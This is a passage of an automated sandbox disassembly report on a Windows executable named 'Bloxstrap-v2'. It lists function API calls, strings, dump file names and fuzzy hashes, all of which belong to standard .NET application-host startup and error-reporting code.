_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B17D8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B182D

Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6C1F
Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CED
Part of subcall function 00007FF72E6A6BD0: OutputDebugStringW.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CF6
Part of subcall function 00007FF72E6A6BD0: SwitchToThread.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D2B
Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D5B
Part of subcall function 00007FF72E6A6BD0: fputws.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D6C

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6B1841

Strings

A fatal error occurred, the folder [%s] does not contain any version-numbered child folders, xrefs: 00007FF72E6B0C05
Considering fxr version=[%s]..., xrefs: 00007FF72E6B09DA
You must install .NET to run this application.App: %sArchitecture: %sApp host version: %s.NET location: Not foundLearn abou, xrefs: 00007FF72E6B162C
A fatal error occurred, the default install location cannot be obtained., xrefs: 00007FF72E6B1390
Using environment variable %s=[%s] as runtime location., xrefs: 00007FF72E6B1366
host, xrefs: 00007FF72E6B13F2
A fatal error occurred, the required library %s could not be found in [%s], xrefs: 00007FF72E6B10B2
6.0.35, xrefs: 00007FF72E6B1614
Reading fx resolver directory=[%s], xrefs: 00007FF72E6B090F
fxr, xrefs: 00007FF72E6B1402
Detected latest fxr version=[%s]..., xrefs: 00007FF72E6B0EB0
Resolved fxr [%s]..., xrefs: 00007FF72E6B0F5A, 00007FF72E6B12BC
Using global installation location [%s] as runtime location., xrefs: 00007FF72E6B13B3
hostfxr.dll, xrefs: 00007FF72E6B0EDA, 00007FF72E6B10AB, 00007FF72E6B1225, 00007FF72E6B15B7
The required library %s could not be found. Searched with root path [%s], environment variable [%s], default install location [%s], xrefs: 00007FF72E6B15BE
x64, xrefs: 00007FF72E6B1625

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentErrorLastProcessVariable__stdio_common_vswprintf$Concurrency::cancel_current_taskCurrentDebugOpenOutputStringSwitchThreadWow64__acrt_iob_funcfputws
String ID: 6.0.35$A fatal error occurred, the default install location cannot be obtained.$A fatal error occurred, the folder [%s] does not contain any version-numbered child folders$A fatal error occurred, the required library %s could not be found in [%s]$Considering fxr version=[%s]...$Detected latest fxr version=[%s]...$Reading fx resolver directory=[%s]$Resolved fxr [%s]...$The required library %s could not be found. Searched with root path [%s], environment variable [%s], default install location [%s]$Using environment variable %s=[%s] as runtime location.$Using global installation location [%s] as runtime location.$You must install .NET to run this application.App: %sArchitecture: %sApp host version: %s.NET location: Not foundLearn abou$fxr$host$hostfxr.dll$x64
API String ID: 3309017869-3081314930
Opcode ID: d1507ba07107fdafdfe254609dd46cc3357f1f7ef82ce2e8027fdd2596acf5ac
Instruction ID: cf03c8726b0d9f440e26009c192b7a043889eb4699e6e1a8fe56d513576b3879
Opcode Fuzzy Hash: d1507ba07107fdafdfe254609dd46cc3357f1f7ef82ce2e8027fdd2596acf5ac
Instruction Fuzzy Hash: 11128862F1864594EF00EB64E8543ADA363FB447A8F90023DDA9D17AE9DF7CD485CB20

Function 00007FF72E6A6BD0 Relevance: 19.7, APIs: 13, Instructions: 181
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6C1F
__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CED
OutputDebugStringW.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CF6
SwitchToThread.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D2B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D5B
fputws.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D6C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D77
fputwc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D85
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DA9
__stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DDC
fputwc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DEA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6E2C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A6E4A

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vswprintffputwc$Concurrency::cancel_current_taskDebugOutputStringSwitchThread__stdio_common_vfwprintf_invalid_parameter_noinfo_noreturnfputwsmalloc
String ID:
API String ID: 1081283796-0
Opcode ID: c5ffb8f9d069369f5ea7ca1362407bbcd96a09dff8016de8a64af0b8ee2f3347
Instruction ID: a2300091cdec09f2a541de5e1238794c99ff60e5cae52228c5b2f10161101ce0
Opcode Fuzzy Hash: c5ffb8f9d069369f5ea7ca1362407bbcd96a09dff8016de8a64af0b8ee2f3347
Instruction Fuzzy Hash: 02614F62A09B4282EA10AB15EC4427DF366FB55BE4F84423DDAAE577D4DF3CE4418B20

Function 00007FF72E6B2690 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 76
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72E6A6490: GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A64E7
Part of subcall function 00007FF72E6A6490: GetLastError.KERNEL32 ref: 00007FF72E6A64F3
Part of subcall function 00007FF72E6A6490: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A66C7

SwitchToThread.KERNEL32 ref: 00007FF72E6B276B
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6B2786
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6B279C
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6B27A5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6B27B0
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6B27B9

Part of subcall function 00007FF72E6A6B20: SwitchToThread.KERNEL32 ref: 00007FF72E6A6B6C
Part of subcall function 00007FF72E6A6B20: __stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6BA4
Part of subcall function 00007FF72E6A6B20: fputwc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6BB2

Strings

apphost, xrefs: 00007FF72E6B26C6
Redirecting errors to custom writer., xrefs: 00007FF72E6B2704
b357f86ce3bce7c232ea242074b17bebdc50b543, xrefs: 00007FF72E6B26B8
--- Invoked %s [version: %s, commit hash: %s] main = {, xrefs: 00007FF72E6B26CD
6.0.35, xrefs: 00007FF72E6B26BF

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: fflush$SwitchThread__acrt_iob_func$EnvironmentErrorLastVariable__stdio_common_vfwprintf_invalid_parameter_noinfo_noreturnfputwc
String ID: --- Invoked %s [version: %s, commit hash: %s] main = {$6.0.35$Redirecting errors to custom writer.$apphost$b357f86ce3bce7c232ea242074b17bebdc50b543
API String ID: 2748946857-1870835739
Opcode ID: d3fef2644a98cd0e62fe490a6ebf89852458591249195c7090ede7bac4cbbd18
Instruction ID: 37f69f55e6668606d9820acd45ccd3d3e8b44bdc5b6f97738e8c552f0c614717
Opcode Fuzzy Hash: d3fef2644a98cd0e62fe490a6ebf89852458591249195c7090ede7bac4cbbd18
Instruction Fuzzy Hash: 94313824A19A4389EB00BB55EC542BAB3A6FF50784FC4503DD98EA73A1DE3CE545CF60

Function 00007FF72E6A2430 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 239
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterEventSourceW.ADVAPI32 ref: 00007FF72E6A2467

Part of subcall function 00007FF72E6A5780: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,00007FF72E6A238C), ref: 00007FF72E6A58E3
Part of subcall function 00007FF72E6A5780: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A5931

ReportEventW.ADVAPI32 ref: 00007FF72E6A2781
DeregisterEventSource.ADVAPI32 ref: 00007FF72E6A278A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A27C8

Strings

Description: A .NET application failed., xrefs: 00007FF72E6A2491
Message: , xrefs: 00007FF72E6A2653, 00007FF72E6A2673
(, xrefs: 00007FF72E6A2488
Application: , xrefs: 00007FF72E6A24D6, 00007FF72E6A24F6
.NET Runtime, xrefs: 00007FF72E6A245E
Path: , xrefs: 00007FF72E6A259A, 00007FF72E6A25BA

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Event$Source_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDeregisterRegisterReport
String ID: ($.NET Runtime$Application: $Description: A .NET application failed.$Message: $Path:
API String ID: 1590356926-970997692
Opcode ID: 1d5e3fcd3b9d42aa9307f96e2bd5b1a102468d5d506b70af3c21107f76df3324
Instruction ID: 3ab0b84c7961ff8d9c95e4f240173d90720204ae71892849b064ecf02fc33b79
Opcode Fuzzy Hash: 1d5e3fcd3b9d42aa9307f96e2bd5b1a102468d5d506b70af3c21107f76df3324
Instruction Fuzzy Hash: 55B1BF66F14B4194EB04EF61E8542ADA772FB48B88F94513ACE8D17B68EF3CD144CB60

Function 00007FF72E6B3ECC Relevance: 15.1, APIs: 10, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF72E6B3EE0

Part of subcall function 00007FF72E6B3B80: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF72E6B3BA2

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF72E6B3EF5
__scrt_release_startup_lock.LIBCMT ref: 00007FF72E6B3F63
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3FB1
_get_initial_wide_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3FB6
__p___wargv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3FBE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3FC6
__scrt_is_managed_app.LIBCMT ref: 00007FF72E6B3FDA
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3FE8
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B4042

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: __p___argc__p___wargv__scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock_cexit_exit_get_initial_wide_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 3940706900-0
Opcode ID: 45f5006f6638548ce6beac16266fc94fe20497aaf0b00455599d411ad78d5382
Instruction ID: 51de6906f4faac8b7ebd02a7a525eb589b7f5c542254707660a17904a830f4c2
Opcode Fuzzy Hash: 45f5006f6638548ce6beac16266fc94fe20497aaf0b00455599d411ad78d5382
Instruction Fuzzy Hash: 3D313C21E4C14345FA54BB609C153BAE293FF54784FC8503DEA8D2B6D7EE6DE8448A70

Function 00007FF72E6A3BF0 Relevance: 7.9, APIs: 5, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72E6ADDB0: GetModuleFileNameW.KERNEL32 ref: 00007FF72E6ADE87
Part of subcall function 00007FF72E6ADDB0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6ADF7E

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3F09
GetModuleHandleW.KERNEL32 ref: 00007FF72E6A3F48
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3FA7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3FFB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A4034

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Module$Concurrency::cancel_current_taskFileHandleName
String ID:
API String ID: 1091411171-0
Opcode ID: 6fab52bb44ce563cd37c578e59a70313f2551dc73deed4bb4670ac9a3cc52713
Instruction ID: bae5b70a0edea0362e527f9d47051bd9ba0459aef92f117d2446da4def250c4d
Opcode Fuzzy Hash: 6fab52bb44ce563cd37c578e59a70313f2551dc73deed4bb4670ac9a3cc52713
Instruction Fuzzy Hash: 50F1AC22F18B4185EB10EF65E8443ACA3A2FB447A8F944639DE6E13BD8DF38E555C710

Function 00007FF72E6B3DE0 Relevance: 4.6, APIs: 3, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72E6B3BCC: _initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3C06

_RTC_Initialize.LIBCMT ref: 00007FF72E6B3E18
_configthreadlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF72E6B3E64
_initialize_wide_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B3E72

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Initialize_configthreadlocale_initialize_onexit_table_initialize_wide_environment
String ID:
API String ID: 2955177221-0
Opcode ID: 1c3ef71c340884c3f3d4728cf9b9b6aaeb176d4591109262286d739ece950b34
Instruction ID: ed8fb2794a6180e76b289b33a2454c2cfb2ba8d2ec0418de025887dc1d343335
Opcode Fuzzy Hash: 1c3ef71c340884c3f3d4728cf9b9b6aaeb176d4591109262286d739ece950b34
Instruction Fuzzy Hash: F011B051E5864346FA547BB06C422F99193FF60304FC8143DEA9DA6AC3EE6CB8524E72

Non-executed Functions

Function 00007FF72E6B3710 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 169
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF72E6B371D
GetProcAddress.KERNEL32 ref: 00007FF72E6B3730
GetProcAddress.KERNEL32 ref: 00007FF72E6B3747
GetProcAddress.KERNEL32 ref: 00007FF72E6B375E
GetProcAddress.KERNEL32 ref: 00007FF72E6B3775
GetProcAddress.KERNEL32 ref: 00007FF72E6B378C
GetProcAddress.KERNEL32 ref: 00007FF72E6B37A3
GetProcAddress.KERNEL32 ref: 00007FF72E6B37BA
GetProcAddress.KERNEL32 ref: 00007FF72E6B37D1
GetProcAddress.KERNEL32 ref: 00007FF72E6B37E8
GetProcAddress.KERNEL32 ref: 00007FF72E6B37FF
GetProcAddress.KERNEL32 ref: 00007FF72E6B3816
GetProcAddress.KERNEL32 ref: 00007FF72E6B382D
GetProcAddress.KERNEL32 ref: 00007FF72E6B3844
GetProcAddress.KERNEL32 ref: 00007FF72E6B385B
GetProcAddress.KERNEL32 ref: 00007FF72E6B3872
GetProcAddress.KERNEL32 ref: 00007FF72E6B3889
GetProcAddress.KERNEL32 ref: 00007FF72E6B38A0
GetProcAddress.KERNEL32 ref: 00007FF72E6B38B7
GetProcAddress.KERNEL32 ref: 00007FF72E6B38CE
GetProcAddress.KERNEL32 ref: 00007FF72E6B38E5
GetProcAddress.KERNEL32 ref: 00007FF72E6B38FC
GetProcAddress.KERNEL32 ref: 00007FF72E6B3913
GetProcAddress.KERNEL32 ref: 00007FF72E6B392A
GetProcAddress.KERNEL32 ref: 00007FF72E6B3941
GetProcAddress.KERNEL32 ref: 00007FF72E6B3958
GetProcAddress.KERNEL32 ref: 00007FF72E6B396F
GetProcAddress.KERNEL32 ref: 00007FF72E6B3986
GetProcAddress.KERNEL32 ref: 00007FF72E6B399D
GetProcAddress.KERNEL32 ref: 00007FF72E6B39B4
GetProcAddress.KERNEL32 ref: 00007FF72E6B39CB
GetProcAddress.KERNEL32 ref: 00007FF72E6B39E2
GetProcAddress.KERNEL32 ref: 00007FF72E6B39F9
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A10
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A27
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A3E
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A55
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A6C
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A83
GetProcAddress.KERNEL32 ref: 00007FF72E6B3A9A
GetProcAddress.KERNEL32 ref: 00007FF72E6B3AB1

Strings

LCMapStringEx, xrefs: 00007FF72E6B3AA0
GetLocaleInfoEx, xrefs: 00007FF72E6B3A89
GetSystemTimePreciseAsFileTime, xrefs: 00007FF72E6B3947
CloseThreadpoolWork, xrefs: 00007FF72E6B3A5B
FlsFree, xrefs: 00007FF72E6B3736
FlsAlloc, xrefs: 00007FF72E6B3726
GetFileInformationByHandleEx, xrefs: 00007FF72E6B3919
CreateSymbolicLinkW, xrefs: 00007FF72E6B38DB
CloseThreadpoolTimer, xrefs: 00007FF72E6B3833
SubmitThreadpoolWork, xrefs: 00007FF72E6B3A44
WaitForThreadpoolTimerCallbacks, xrefs: 00007FF72E6B381C
WakeConditionVariable, xrefs: 00007FF72E6B3975
InitializeSRWLock, xrefs: 00007FF72E6B39BA
FlsGetValue, xrefs: 00007FF72E6B374D
SetThreadpoolWait, xrefs: 00007FF72E6B3861
SleepConditionVariableSRW, xrefs: 00007FF72E6B3A16
GetTickCount64, xrefs: 00007FF72E6B3902
AcquireSRWLockExclusive, xrefs: 00007FF72E6B39D1
GetCurrentPackageId, xrefs: 00007FF72E6B38EB
InitializeConditionVariable, xrefs: 00007FF72E6B395E
CreateThreadpoolWait, xrefs: 00007FF72E6B384A
kernel32.dll, xrefs: 00007FF72E6B3716
SetThreadpoolTimer, xrefs: 00007FF72E6B3805
FreeLibraryWhenCallbackReturns, xrefs: 00007FF72E6B38A6
InitializeCriticalSectionEx, xrefs: 00007FF72E6B377B
ReleaseSRWLockExclusive, xrefs: 00007FF72E6B39FF
FlsSetValue, xrefs: 00007FF72E6B3764
CompareStringEx, xrefs: 00007FF72E6B3A72
GetCurrentProcessorNumber, xrefs: 00007FF72E6B38BD
FlushProcessWriteBuffers, xrefs: 00007FF72E6B388F
CreateEventExW, xrefs: 00007FF72E6B37A9
SetFileInformationByHandle, xrefs: 00007FF72E6B3930
CreateSemaphoreW, xrefs: 00007FF72E6B37C0
CreateThreadpoolWork, xrefs: 00007FF72E6B3A2D
TryAcquireSRWLockExclusive, xrefs: 00007FF72E6B39E8
CloseThreadpoolWait, xrefs: 00007FF72E6B3878
SleepConditionVariableCS, xrefs: 00007FF72E6B39A3
CreateThreadpoolTimer, xrefs: 00007FF72E6B37EE
CreateSemaphoreExW, xrefs: 00007FF72E6B37D7
InitOnceExecuteOnce, xrefs: 00007FF72E6B3792
WakeAllConditionVariable, xrefs: 00007FF72E6B398C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: e469fccc57b69a0b9f9de7196c5d4a9165c81204f88039d6630738e2ae8d2c1e
Instruction ID: fa823ea1379e49531abe6408578526d53d2415fe9d6bcd6670dbfe97fa003715
Opcode Fuzzy Hash: e469fccc57b69a0b9f9de7196c5d4a9165c81204f88039d6630738e2ae8d2c1e
Instruction Fuzzy Hash: C4A18264E09B07A1EE01FF65BC68164A3A3FF49784BC4503DC88E67224EF7DA159CB60

Function 00007FF72E6A9CC0 Relevance: 30.5, APIs: 13, Strings: 4, Instructions: 757COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A9DCC
wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF72E6A9DF4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A9E4E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A9F72
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA14F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AA264
